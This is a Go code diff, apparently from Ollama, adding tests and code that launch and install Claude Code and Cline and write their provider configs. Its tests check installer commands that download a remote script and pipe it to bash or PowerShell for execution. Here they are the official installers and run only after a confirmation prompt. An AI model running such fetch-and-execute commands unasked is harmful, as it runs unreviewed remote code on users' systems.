+func TestClaudeDesktopRunReturnsUnsupported(t *testing.T) {
+	withClaudeDesktopPlatform(t, "darwin")
+
+	withClaudeDesktopProcessHooks(t,
+		func() bool {
+			t.Fatal("Run should not inspect Claude Desktop process state")
+			return false
+		},
+		func() error {
+			t.Fatal("Run should not quit Claude Desktop")
+			return nil
+		},
+		func() error {
+			t.Fatal("Run should not open Claude Desktop")
+			return nil
+		},
+	)
+
+	for _, args := range [][]string{nil, {"--foo"}} {
+		err := (&ClaudeDesktop{}).Run("qwen3.5", nil, args)
+		if err == nil {
+			t.Fatal("expected Run to fail")
+		}
+		if !strings.Contains(err.Error(), "Claude Desktop is no longer supported") {
+			t.Fatalf("expected unsupported guidance, got %v", err)
+		}
+		if !strings.Contains(err.Error(), "ollama launch claude-desktop --restore") {
+			t.Fatalf("expected restore guidance, got %v", err)
+		}
+	}
+}

cmd/launch/claude_test.go

@@ -1,12 +1,15 @@
 package launch
 
 import (
+	"fmt"
 	"os"
 	"path/filepath"
 	"runtime"
 	"slices"
 	"strings"
 	"testing"
+
+	"github.com/ollama/ollama/envconfig"
 )
 
 func TestClaudeIntegration(t *testing.T) {
@@ -67,6 +70,28 @@ func TestClaudeFindPath(t *testing.T) {
 		}
 	})
 
+	t.Run("falls back to ~/.local/bin/claude", func(t *testing.T) {
+		tmpDir := t.TempDir()
+		setTestHome(t, tmpDir)
+		t.Setenv("PATH", t.TempDir()) // empty dir, no claude binary
+
+		name := "claude"
+		if runtime.GOOS == "windows" {
+			name = "claude.exe"
+		}
+		fallback := filepath.Join(tmpDir, ".local", "bin", name)
+		os.MkdirAll(filepath.Dir(fallback), 0o755)
+		os.WriteFile(fallback, []byte("#!/bin/sh\n"), 0o755)
+
+		got, err := c.findPath()
+		if err != nil {
+			t.Fatalf("unexpected error: %v", err)
+		}
+		if got != fallback {
+			t.Errorf("findPath() = %q, want %q", got, fallback)
+		}
+	})
+
 	t.Run("returns error when neither PATH nor fallback exists", func(t *testing.T) {
 		tmpDir := t.TempDir()
 		setTestHome(t, tmpDir)
@@ -79,6 +104,210 @@ func TestClaudeFindPath(t *testing.T) {
 	})
 }
 
+func TestEnsureClaudeInstalled(t *testing.T) {
+	withConfirm := func(t *testing.T, fn func(prompt string) (bool, error)) {
+		t.Helper()
+		oldConfirm := DefaultConfirmPrompt
+		DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
+			return fn(prompt)
+		}
+		t.Cleanup(func() { DefaultConfirmPrompt = oldConfirm })
+	}
+
+	t.Run("already installed", func(t *testing.T) {
+		setTestHome(t, t.TempDir())
+		tmpDir := t.TempDir()
+		t.Setenv("PATH", tmpDir)
+		writeFakeBinary(t, tmpDir, "claude")
+
+		withConfirm(t, func(prompt string) (bool, error) {
+			t.Fatalf("did not expect prompt, got %q", prompt)
+			return false, nil
+		})
+
+		bin, err := ensureClaudeInstalled()
+		if err != nil {
+			t.Fatalf("ensureClaudeInstalled() error = %v", err)
+		}
+		if filepath.Base(bin) != "claude" && filepath.Base(bin) != "claude.cmd" {
+			t.Fatalf("bin = %q, want claude binary", bin)
+		}
+	})
+
+	t.Run("missing dependencies", func(t *testing.T) {
+		setTestHome(t, t.TempDir())
+		t.Setenv("PATH", t.TempDir())
+
+		withConfirm(t, func(prompt string) (bool, error) {
+			t.Fatalf("did not expect prompt, got %q", prompt)
+			return false, nil
+		})
+
+		_, err := ensureClaudeInstalled()
+		if err == nil || !strings.Contains(err.Error(), "required dependencies are missing") {
+			t.Fatalf("expected missing dependency error, got %v", err)
+		}
+	})
+
+	t.Run("missing and user declines install", func(t *testing.T) {
+		setTestHome(t, t.TempDir())
+		tmpDir := t.TempDir()
+		t.Setenv("PATH", tmpDir)
+		writeClaudeInstallerDeps(t, tmpDir)
+
+		withConfirm(t, func(prompt string) (bool, error) {
+			if prompt != "Claude Code is not installed. Install now?" {
+				t.Fatalf("unexpected prompt: %q", prompt)
+			}
+			return false, nil
+		})
+
+		_, err := ensureClaudeInstalled()
+		if err == nil || !strings.Contains(err.Error(), "installation cancelled") {
+			t.Fatalf("expected cancellation error, got %v", err)
+		}
+	})
+
+	t.Run("missing and user confirms install succeeds", func(t *testing.T) {
+		if runtime.GOOS == "windows" {
+			t.Skip("uses POSIX shell fake binaries")
+		}
+
+		homeDir := t.TempDir()
+		setTestHome(t, homeDir)
+		tmpDir := t.TempDir()
+		t.Setenv("PATH", tmpDir)
+
+		writeFakeBinary(t, tmpDir, "curl")
+
+		installLog := filepath.Join(tmpDir, "bash.log")
+		installedClaude := filepath.Join(homeDir, ".local", "bin", "claude")
+		bashScript := fmt.Sprintf(`#!/bin/sh
+echo "$@" >> %q
+if [ "$1" = "-c" ]; then
+  /bin/mkdir -p %q
+  /bin/cat > %q <<'EOS'
+#!/bin/sh
+exit 0
+EOS
+  /bin/chmod +x %q
+fi
+exit 0
+`, installLog, filepath.Dir(installedClaude), installedClaude, installedClaude)
+		if err := os.WriteFile(filepath.Join(tmpDir, "bash"), []byte(bashScript), 0o755); err != nil {
+			t.Fatalf("failed to write fake bash: %v", err)
+		}
+
+		withConfirm(t, func(prompt string) (bool, error) {
+			return true, nil
+		})
+
+		bin, err := ensureClaudeInstalled()
+		if err != nil {
+			t.Fatalf("ensureClaudeInstalled() error = %v", err)
+		}
+		if bin != installedClaude {
+			t.Fatalf("bin = %q, want %q", bin, installedClaude)
+		}
+
+		logData, err := os.ReadFile(installLog)
+		if err != nil {
+			t.Fatalf("failed to read install log: %v", err)
+		}
+		if !strings.Contains(string(logData), "https://claude.ai/install.sh") {
+			t.Fatalf("expected install.sh command in log, got:\n%s", string(logData))
+		}
+	})
+
+	t.Run("install command fails", func(t *testing.T) {
+		if runtime.GOOS == "windows" {
+			t.Skip("uses POSIX shell fake binaries")
+		}
+
+		setTestHome(t, t.TempDir())
+		tmpDir := t.TempDir()
+		t.Setenv("PATH", tmpDir)
+		writeFakeBinary(t, tmpDir, "curl")
+		if err := os.WriteFile(filepath.Join(tmpDir, "bash"), []byte("#!/bin/sh\nexit 1\n"), 0o755); err != nil {
+			t.Fatalf("failed to write fake bash: %v", err)
+		}
+
+		withConfirm(t, func(prompt string) (bool, error) {
+			return true, nil
+		})
+
+		_, err := ensureClaudeInstalled()
+		if err == nil || !strings.Contains(err.Error(), "failed to install claude") {
+			t.Fatalf("expected install failure error, got %v", err)
+		}
+	})
+}
+
+func writeClaudeInstallerDeps(t *testing.T, dir string) {
+	t.Helper()
+	if runtime.GOOS == "windows" {
+		writeFakeBinary(t, dir, "powershell")
+		return
+	}
+	writeFakeBinary(t, dir, "curl")
+	writeFakeBinary(t, dir, "bash")
+}
+
+func TestClaudeInstallerCommand(t *testing.T) {
+	tests := []struct {
+		name    string
+		goos    string
+		wantBin string
+		want    string
+		wantErr string
+	}{
+		{
+			name:    "unix",
+			goos:    "linux",
+			wantBin: "bash",
+			want:    "curl -fsSL https://claude.ai/install.sh | bash",
+		},
+		{
+			name:    "macos",
+			goos:    "darwin",
+			wantBin: "bash",
+			want:    "curl -fsSL https://claude.ai/install.sh | bash",
+		},
+		{
+			name:    "windows",
+			goos:    "windows",
+			wantBin: "powershell",
+			want:    "irm https://claude.ai/install.ps1 | iex",
+		},
+		{
+			name:    "unsupported",
+			goos:    "plan9",
+			wantErr: "unsupported platform",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			bin, args, err := claudeInstallerCommand(tt.goos)
+			if tt.wantErr != "" {
+				if err == nil || !strings.Contains(err.Error(), tt.wantErr) {
+					t.Fatalf("expected error containing %q, got %v", tt.wantErr, err)
+				}
+				return
+			}
+			if err != nil {
+				t.Fatalf("claudeInstallerCommand() error = %v", err)
+			}
+			if bin != tt.wantBin {
+				t.Fatalf("bin = %q, want %q", bin, tt.wantBin)
+			}
+			if !slices.Contains(args, tt.want) {
+				t.Fatalf("args = %v, want command containing %q", args, tt.want)
+			}
+		})
+	}
+}
+
 func TestClaudeArgs(t *testing.T) {
 	c := &Claude{}
 
@@ -93,6 +322,7 @@ func TestClaudeArgs(t *testing.T) {
 		{"with model and verbose", "llama3.2", []string{"--verbose"}, []string{"--model", "llama3.2", "--verbose"}},
 		{"empty model with help", "", []string{"--help"}, []string{"--help"}},
 		{"with allowed tools", "llama3.2", []string{"--allowedTools", "Read,Write,Bash"}, []string{"--model", "llama3.2", "--allowedTools", "Read,Write,Bash"}},
+		{"with channels", "llama3.2", []string{"--channels", "plugin:telegram@claude-plugins-official"}, []string{"--model", "llama3.2", "--channels", "plugin:telegram@claude-plugins-official"}},
 	}
 
 	for _, tt := range tests {
@@ -105,6 +335,45 @@ func TestClaudeArgs(t *testing.T) {
 	}
 }
 
+func TestClaudeEnvVars(t *testing.T) {
+	c := &Claude{}
+
+	envMap := func(envs []string) map[string]string {
+		m := make(map[string]string)
+		for _, e := range envs {
+			k, v, _ := strings.Cut(e, "=")
+			m[k] = v
+		}
+		return m
+	}
+
+	got := envMap(c.envVars("llama3.2"))
+	for key, want := range map[string]string{
+		"ANTHROPIC_BASE_URL":                  envconfig.Host().String(),
+		"ANTHROPIC_API_KEY":                   "",
+		"ANTHROPIC_AUTH_TOKEN":                "ollama",
+		"CLAUDE_CODE_ATTRIBUTION_HEADER":      "0",
+		"DISABLE_ERROR_REPORTING":             "1",
+		"DISABLE_FEEDBACK_COMMAND":            "1",
+		"CLAUDE_CODE_DISABLE_FEEDBACK_SURVEY": "1",
+		"ANTHROPIC_DEFAULT_OPUS_MODEL":        "llama3.2",
+		"ANTHROPIC_DEFAULT_SONNET_MODEL":      "llama3.2",
+		"ANTHROPIC_DEFAULT_HAIKU_MODEL":       "llama3.2",
+		"CLAUDE_CODE_SUBAGENT_MODEL":          "llama3.2",
+	} {
+		if got[key] != want {
+			t.Errorf("%s = %q, want %q", key, got[key], want)
+		}
+	}
+
+	// Both variables disable Claude Code feature-flag evaluation, which keeps Channels unavailable.
+	for _, key := range []string{"CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", "DISABLE_TELEMETRY"} {
+		if _, ok := got[key]; ok {
+			t.Errorf("%s must not be set by Ollama", key)
+		}
+	}
+}
+
 func TestClaudeModelEnvVars(t *testing.T) {
 	c := &Claude{}
 

cmd/launch/cline.go

@@ -6,41 +6,91 @@ import (
 	"os"
 	"os/exec"
 	"path/filepath"
+	"strings"
+	"time"
 
 	"github.com/ollama/ollama/cmd/internal/fileutil"
 	"github.com/ollama/ollama/envconfig"
 )
 
+const clineLaunchProvider = "ollama"
+
 // Cline implements Runner and Editor for the Cline CLI integration
 type Cline struct{}
 
 func (c *Cline) String() string { return "Cline" }
 
-func (c *Cline) Run(model string, args []string) error {
-	if _, err := exec.LookPath("cline"); err != nil {
-		return fmt.Errorf("cline is not installed, install with: npm install -g cline")
+func (c *Cline) Run(model string, _ []LaunchModel, args []string) error {
+	bin, err := ensureClineInstalled()
+	if err != nil {
+		return err
 	}
 
-	cmd := exec.Command("cline", args...)
+	launchArgs := clineLaunchArgs(model, args)
+	cmd := exec.Command(bin, launchArgs...)
 	cmd.Stdin = os.Stdin
 	cmd.Stdout = os.Stdout
 	cmd.Stderr = os.Stderr
 	return cmd.Run()
 }
 
+func ensureClineInstalled() (string, error) {
+	if _, err := exec.LookPath("cline"); err == nil {
+		return "cline", nil
+	}
+
+	if _, err := exec.LookPath("npm"); err != nil {
+		return "", fmt.Errorf("cline is not installed and required dependencies are missing\n\nInstall the following first:\n  npm (Node.js): https://nodejs.org/\n\nThen re-run:\n  ollama launch cline")
+	}
+
+	ok, err := ConfirmPrompt("Cline is not installed. Install with npm?")
+	if err != nil {
+		return "", err
+	}
+	if !ok {
+		return "", fmt.Errorf("cline installation cancelled")
+	}
+
+	fmt.Fprintf(os.Stderr, "\nInstalling Cline...\n")
+	cmd := exec.Command("npm", "install", "-g", "cline@latest")
+	cmd.Stdin = os.Stdin
+	cmd.Stdout = os.Stdout
+	cmd.Stderr = os.Stderr
+	if err := cmd.Run(); err != nil {
+		return "", fmt.Errorf("failed to install cline: %w", err)
+	}
+
+	if _, err := exec.LookPath("cline"); err != nil {
+		return "", fmt.Errorf("cline was installed but the binary was not found on PATH\n\nYou may need to restart your shell")
+	}
+
+	fmt.Fprintf(os.Stderr, "%sCline installed successfully%s\n\n", ansiGreen, ansiReset)
+	return "cline", nil
+}
+
+func clineLaunchArgs(model string, extra []string) []string {
+	return extra
+}
+
 func (c *Cline) Paths() []string {
 	home, err := os.UserHomeDir()
 	if err != nil {
 		return nil
 	}
-	p := filepath.Join(home, ".cline", "data", "globalState.json")
-	if _, err := os.Stat(p); err == nil {
-		return []string{p}
+
+	var paths []string
+	for _, p := range []string{
+		clineProvidersPath(home),
+		clineLegacyGlobalStatePath(home),
+	} {
+		if _, err := os.Stat(p); err == nil {
+			paths = append(paths, p)
+		}
 	}
-	return nil
+	return paths
 }
 
-func (c *Cline) Edit(models []string) error {
+func (c *Cline) Edit(models []LaunchModel) error {
 	if len(models) == 0 {
 		return nil
 	}
@@ -50,26 +100,113 @@ func (c *Cline) Edit(models []string) error {
 		return err
 	}
 
-	configPath := filepath.Join(home, ".cline", "data", "globalState.json")
+	providersPath := clineProvidersPath(home)
+	legacyPath := clineLegacyGlobalStatePath(home)
+
+	providersConfig, err := readClineConfig(providersPath)
+	if err != nil {
+		return err
+	}
+	legacyConfig, err := readClineConfig(legacyPath)
+	if err != nil {
+		return err
+	}
+
+	if err := writeClineProvidersConfig(providersPath, providersConfig, models[0].Name); err != nil {
+		return err
+	}
+	return writeClineLegacyGlobalState(legacyPath, legacyConfig, models[0].Name)
+}
+
+func clineProvidersPath(home string) string {
+	return filepath.Join(home, ".cline", "data", "settings", "providers.json")
+}
+
+func clineLegacyGlobalStatePath(home string) string {
+	return filepath.Join(home, ".cline", "data", "globalState.json")
+}
+
+func clineOllamaRootURL() string {
+	return strings.TrimRight(envconfig.ConnectableHost().String(), "/")
+}
+
+func clineProviderBaseURL() string {
+	return clineOllamaRootURL() + "/v1"
+}
+
+func readClineConfig(configPath string) (map[string]any, error) {
+	config := make(map[string]any)
+	if data, err := os.ReadFile(configPath); err == nil {
+		if err := json.Unmarshal(data, &config); err != nil {
+			return nil, fmt.Errorf("failed to parse config: %w, at: %s", err, configPath)
+		}
+	} else if !os.IsNotExist(err) {
+		return nil, err
+	}
+	return config, nil
+}
+
+func writeClineProvidersConfig(configPath string, config map[string]any, model string) error {
 	if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
 		return err
 	}
 
-	config := make(map[string]any)
-	if data, err := os.ReadFile(configPath); err == nil {
-		if err := json.Unmarshal(data, &config); err != nil {
-			return fmt.Errorf("failed to parse config: %w, at: %s", err, configPath)
-		}
+	providers, _ := config["providers"].(map[string]any)
+	if providers == nil {
+		providers = make(map[string]any)
 	}
 
-	// Set Ollama as the provider for both act and plan modes
-	baseURL := envconfig.Host().String()
+	provider, _ := providers[clineLaunchProvider].(map[string]any)
+	if provider == nil {
+		provider = make(map[string]any)
+	}
+	settings, _ := provider["settings"].(map[string]any)
+	if settings == nil {
+		settings = make(map[string]any)
+	}
+
+	baseURL := clineProviderBaseURL()
+	previousModel, _ := settings["model"].(string)
+	previousBaseURL, _ := settings["baseUrl"].(string)
+	previousTokenSource, _ := provider["tokenSource"].(string)
+
+	settings["provider"] = clineLaunchProvider
+	settings["model"] = model
+	settings["baseUrl"] = baseURL
+	delete(settings, "apiKey")
+	provider["settings"] = settings
+
+	if previousModel != model || previousBaseURL != baseURL || previousTokenSource != "manual" {
+		provider["updatedAt"] = time.Now().UTC().Format(time.RFC3339Nano)
+	} else if _, ok := provider["updatedAt"].(string); !ok {
+		provider["updatedAt"] = time.Now().UTC().Format(time.RFC3339Nano)
+	}
+	provider["tokenSource"] = "manual"
+	providers[clineLaunchProvider] = provider
+
+	config["version"] = float64(1)
+	config["lastUsedProvider"] = clineLaunchProvider
+	config["providers"] = providers
+
+	data, err := json.MarshalIndent(config, "", "  ")
+	if err != nil {
+		return err
+	}
+	return fileutil.WriteWithBackup(configPath, data, "cline")
+}
+
+func writeClineLegacyGlobalState(configPath string, config map[string]any, model string) error {
+	if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
+		return err
+	}
+
+	baseURL := clineOllamaRootURL()
 	config["ollamaBaseUrl"] = baseURL
-	config["actModeApiProvider"] = "ollama"
-	config["actModeOllamaModelId"] = models[0]
+	config["actModeApiProvider"] = clineLaunchProvider
+	config["actModeOllamaModelId"] = model
 	config["actModeOllamaBaseUrl"] = baseURL
-	config["planModeApiProvider"] = "ollama"
-	config["planModeOllamaModelId"] = models[0]
+	config["planModeApiProvider"] = clineLaunchProvider
+	config["planModeOllamaModelId"] = model
 	config["planModeOllamaBaseUrl"] = baseURL
 
 	config["welcomeViewCompleted"] = true
@@ -78,7 +215,7 @@ func (c *Cline) Edit(models []string) error {
 	if err != nil {
 		return err
 	}
-	return fileutil.WriteWithBackup(configPath, data)
+	return fileutil.WriteWithBackup(configPath, data, "cline")
 }
 
 func (c *Cline) Models() []string {
@@ -87,12 +224,18 @@ func (c *Cline) Models() []string {
 		return nil
 	}
 
-	config, err := fileutil.ReadJSON(filepath.Join(home, ".cline", "data", "globalState.json"))
+	if model := clineProviderModel(home); model != "" {
+		return []string{model}
+	}
+
+	config, err := fileutil.ReadJSON(clineLegacyGlobalStatePath(home))
 	if err != nil {
 		return nil
 	}
 
-	if config["actModeApiProvider"] != "ollama" {
+	switch config["actModeApiProvider"] {
+	case "ollama":
+	default:
 		return nil
 	}
 
@@ -102,3 +245,18 @@ func (c *Cline) Models() []string {
 	}
 	return []string{modelID}
 }
+
+func clineProviderModel(home string) string {
+	config, err := fileutil.ReadJSON(clineProvidersPath(home))
+	if err != nil {
+		return ""
+	}
+	if config["lastUsedProvider"] != clineLaunchProvider {
+		return ""
+	}
+	providers, _ := config["providers"].(map[string]any)
+	provider, _ := providers[clineLaunchProvider].(map[string]any)
+	settings, _ := provider["settings"].(map[string]any)
+	model, _ := settings["model"].(string)
+	return model
+}